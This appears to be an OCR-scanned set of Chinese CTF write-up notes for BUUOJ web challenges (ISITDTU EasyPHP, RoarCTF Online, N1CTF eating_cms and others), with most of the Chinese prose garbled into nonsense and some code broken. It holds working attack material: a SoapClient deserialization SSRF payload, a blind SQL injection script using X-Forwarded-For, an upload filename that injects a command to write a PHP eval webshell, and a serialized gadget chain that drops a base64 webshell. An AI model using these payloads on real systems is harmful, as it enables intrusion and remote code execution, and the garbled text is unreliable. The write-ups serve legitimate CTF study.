session.upload_progress.cleanup —BiEEUT frEPOSTHE, SLAERBEREE. RAFE
session.upload_progress.enabled B B SO (S B fEsessionH . BRIATF S o

2 session.serialize_handler=php F}, sessionX(fFHN%N: name|s:7:"mochazz";

%4 session.serialize_handler=php_serialize i, sessionX(f#4: a:1:{s:4:"name";s:7:"mochazz";}
BHAEMAE. TFEarixAEE .

BEREA A L =25 BATLE B8 s AT AR i B £

call user func($ GET['f'], $ POST);//f extract call user func($b, $a); /b => SoapClient a

BoRMNHRAZEE S, Tabilz, HEREAMKNE—-EREMRRI, FUXERRALbT .

;$soap = new SoapClient(null,array( $target,
b ));$demo serialize($soap);echo
urlencode($demo) ;

XANAT PAAE B P B AL R B

POST /?f=session_start&name=|0%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127
.0.0.1%2F%22%3Bs%3A8%3A%221ocation%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_age
Nt%22%3Bs%3A31%3A%22dem0%0D%OACookie%3APHPSESSID%3D123456%0D%0OA%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
HTTP/1.1Host: e9d5b@a5-ecea-47e7-9ea2-615657f5f184.noded.buuoj.cn:81Pragma: no-cacheCache-Control: no-cacheUpgra
de-Insecure-Requests: 1lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gec
ko) Chrome/96.0.4664.45 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
age/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Languag
e: zh,zh-TW;g=0.9,en-US;gq=0.8,en;q=0.7,zh-CN;q=0.6Cookie: UM distinctid=17d66893c2717-03eb8bab8be499-978183a-144
000-17d66893c28205; PHPSESSID=qgqlase8vopuep92h208vih4vc3Connection: closeContent-Type: application/x-www-form-un
lencodedContent-Length: 31serialize handler=php_serialize

XA HIPAT IR £ session_start(“serialize_handler=php_serialize”);
session_start() @& &1 E ERAIA &0 XEERNB A CLAE S =1 >session_start() A& 52m1 BB AT1EH FEH

@:1:{s:4:"name";s:n:"|0:10:"SoapClient":4:{s:3:"uri";s:17:"http://127.0.0.1/";s:8:"location";s:25:"http://127.0.

0.1/flag.php";s:11:" user_agent";s:31:"demoCookie:PHPSESSID=123456";s:13:" soap_version";i:1;}";}

RIETIHBIBRINK 2 5 &R 5 ~a:1:{s:4:“name”;s:n:" =>0:10:“SoapClient”:4:
{s:3:“uri”;s:17:“http://127.0.0.1/”’;s:8:“location”;s:25: “http://127.0.0.1/flag.php”;s:11:"_user_agent";s:31:“demo
Cookie:PHPSESSID=123456

“.s:13:”_soap_version”;i:1;}

call_user_func(‘call_user_func’,array(‘SoapClient’, welcome_to_the_Ictf2018")) iXFERL BT T -

.



0x17 [ISITDTU 2019]EasyPHP

HhRRLTTFHEFwebshel, HPBEABAT S FrUARFTH K FRERGEMER LA RphpH BARIR S K T4 REMA, el
BATRA IR KIEIRB I ERFHF G %ff% 78R

$total = [Ox8F,0x8D,0x96,0x91,0x8B,0x8C,0x9C,0x9E,0x91,0x9B];%$res = [OxFF,0xD1,0xA0,0x8F,0x8D,0x96,0x91,0x8B,0x8
C,0x9C,0x9E,0x91,0x9B];$count = 0;%cnt = count($total);while ($cnt) { $cnt--; $tmp = array pop($res); for($i = ©
; $1 < count($total); $i ++){ for($j = 0; $j < count($res); $j ++){ for($k = 0; $k < count($res); $k ++){

for($m = 0; $m < count($res); $m ++){ if($total[$i] == ($res[$j] ~ $res[$m] ~ $res[$k])){ $count ++;
break 3; } } } 1} } echo $count; echo "\n"; if($count == count($total)){ $count = @; echo 123; ec
ho "\n"; }else{ $count = @; array unshift($res, $tmp); }}var dump($res);

RARXAEERATHKES, REHATEK A XL &S Kpayload
0x18 [GKCTF 2021]easycms

RAEH BEEER G Erce (HERE —MoASCHEHIN BT BRI B A& B4

R TUL B fetdt, BTUAREF AR5 04 7 BB B R T,

EERASHEENCLE, RAuIARERNERXIHE, KIAREAFEE, 25T —T BREE! , baseb4 AT LMERT
Beo

0x19 [GYCTF2020]Ez_Express
SEZ %k hitps:/;www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://xz.aliyun.com/t/7025

https://www.sohu.com/a/446206250 120045376

XSSXZ S Muk: hitp://prompt.ml/0

XEE—m RSt ADMIN Frig K (& ZtoUpperCase()

HHBRATHNFRETFRF L "M ZWDFRMRE”RIMS




toLowerCase

ANK" B ONE R RK, HERR"K" . toLowerCase() == 'k'.

— R 5 A ) R IR AT S ejs i A i 2 IE Rk X

this.templateText =
this.e templateText.® replace(/[\r\n]+/g, '\n’).® replace(/"\s+|\s+$/gm, '");

this.templateText =
ace(/[ \t]*<% /gm, <% ').® replace(/ %>[ \t]*/gm, °

ce();

var _ output = [], _ append = _ output.push.bind(_output);"’
if (opts.outputFunctionName) |
prepended += ' var ' s.outputFunctionName + " = append;’ + '\n’;

1

J

if (opts. with !
prepended += ' with (' + opts.localsName + '
appended += * }' + "\n’;

1

J

appended += ° return _ output.join("");" + '\n’;

this.source = prepended + this.source + appended;

[SME B Py e A7 R W VR i PT Be R 17 1 L), 2 UOK 18 v OR A T SR B B A% (img-OB3I1Z0td-1639377924693)
(C:\Users\MSNMNppData\Roaming\Typora\typora-user-images\image-20211201000539830.png)]

Fdefaultltfl R BET5 X M4

garann.github.io/template-chooseri i % £ M &4

ejstiR 5] % B AU AT ¥ (CVE-2020-35772) 77 7E 1) W A2 T B3 A P T2 B B0E B PHR BIRARE B i b
HERNE TR AZHBERERET % REHFEHN LRER - IMELARHL K, REHIT, REER.
https://xz.aliyun.com/t/7025 XA KR FIBE T mgng,

0x1A [RoarCTF 2019]Online

FE Tlastip — TG 2R B EERIE insertiENT



import requests,reurl = "http://noded.buuoj.cn:28246/?url=http://127.0.0.1/admin"def execute(sql): length = "" p

ayload = f"@'|length(({sql}))|'@" session = requests.session() r = session.get(url, headers={'X-Forwarded-For':

payload}) r = session.get(url, headers={'X-Forwarded-For': 'dem@'}) r = session.get(url, headers={'X-Forwarded-F

or': 'dem@'}) length = int(re.findall(r'Last Ip: (.*?) -->',r.text,re.S)[0]) res = "" for x in range(1,length+1)
payload = f"@'|ascii(substr(({sql}),{x},1))|'@" r = session.get(url, headers={'X-Forwarded-For': payload})

r = session.get(url, headers={'X-Forwarded-For': 'dem@'}) r = session.get(url, headers={'X-Forwarded-For': "'dem

©'}) text = int(re.findall(r'Last Ip: (.*?) -->',r.text,re.S)[0]) res += chr(text) return resif _ name__ == "'

main__ ': # print("[*]RECURIEHREELRI:" + execute("select database()")) # print("[*]3REBUNEHIRELRI:" + exe
cute("SELECT group_concat(SCHEMA NAME) FROM information_schema.SCHEMATA")) # print("[*]ZRECURIBIEERL R " +
execute("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = database()")) # pri
nt("[*]3REFI L BIN: " + execute("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCH
EMA = 'F419 D4t4B45e' AND TABLE_NAME = 'F419 t4ble' ")) print("[*]flag" + execute("select group_concat(F419 Co1lu
Mn) from "F419 DAt4B45e” . F419 tdble "))

0x1B [HarekazeCTF2019]Avatar Uploader

29  $size = getimagesize($_FILES['file']['tmp_name']);
30 if ($size[@] > 256 || $size[1] > 256) {

31 error('Uploaded image is too large.');

322}

33 if ($size[2] !== IMAGETYPE_b {

24 // I hope this never happens...

35 error('What happened...? 0K, the flag for part 1 is: <code>' . getenv('FLAGl') . '</code>');
36}

37

TR 4 SO B K B 45 S BN AT

BEZRT . ROREE 7163 B ar
0x1C [CSAWQual 2019]Web_Unag

xxeJEN 5 825 /NG hitps://www.cnblogs.com/backlion/p/9302528.htm

XEEERX T Atdf SR AT TR, FrOBRAMR FEXN TREEEMAT LA T, RS IAE0E K + 2 5 4% K (&Haaa; )2k +
N BEHI# K (W)RE AR Unicode . X XML& ME, FRHLASEEMAREFRFHBREEMHERA

FrABRAIBEE Mg R )5 EAERIAT LT, faj 82l
0x1D [N1CTF 2018]eating_cms

POST /upllloadddd.php HTTP/1.1Host: 488d3a9b-d9dd-4fcl-a33d-08cae@97b338.node4.buuoj.cn:81Content-Length: 1276Ca
che-Control: max-age=0Upgrade-Insecure-Requests: 10rigin: http://488d3a9b-d9dd-4fcl-a33d-08cae@97b338.node4.buuo
j.cn:81Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvROAudZcEEAjewBaUser-Agent: Mozilla/5.@

(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Accept: t
ext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.9Referer: http://488d3a9b-d9dd-4fcl-a33d-08cae@97b338.node4.buuoj.cn:81/user.php?page=mdaaa
nnngggeeeAccept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;gq=0.9,en-US;q=0.8,en;q=0.7,zh-CN;gq=0.6Cookie: U
M_distinctid=17d66893c2717-03eb8bab8be499-978183a-144000-17d66893c28205; PHPSESSID=5anhmh©38bjhlpeu4788qc4ib2Con
nection: close WebKitFormBoundaryvROAudZcEEAjewBaContent-Disposition: form-data; name="file"; filename="exp|

.php;cd ..;cd tmp;echo '<?php eval($_POST[a]);?>'>a.php; #"Content-Type: application/octet-streamaaa

FormBoundaryvROAudZcEEAjewBaContent-Disposition: form-data; name="submit"Submit WebKitFormBoundaryvROAudZcE

EAjewBa--
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<?phpclass A{ public function _ construct($store, $key = '1.php', $expire = null) { $this->key = $key;

$this->store = $store; $this->expire = $expire; $this->cache['111'] = array('path'=>"PD9waHAg|
ZXZhbCgkX1BPU1RbI2NtZCddKTs/Pg"); //F55E $this->complete="1";//f5%E }}class B{}$options['serialize'] = "

strval";$options['prefix'] = "php://filter/write=convert.base64-decode/resource=";$options['expire'] = 123;%opti

ons[ 'data_compress']=0;$b = new B();$b->options = $options;$a = new A($b);echo urlencode(serialize(%$a));
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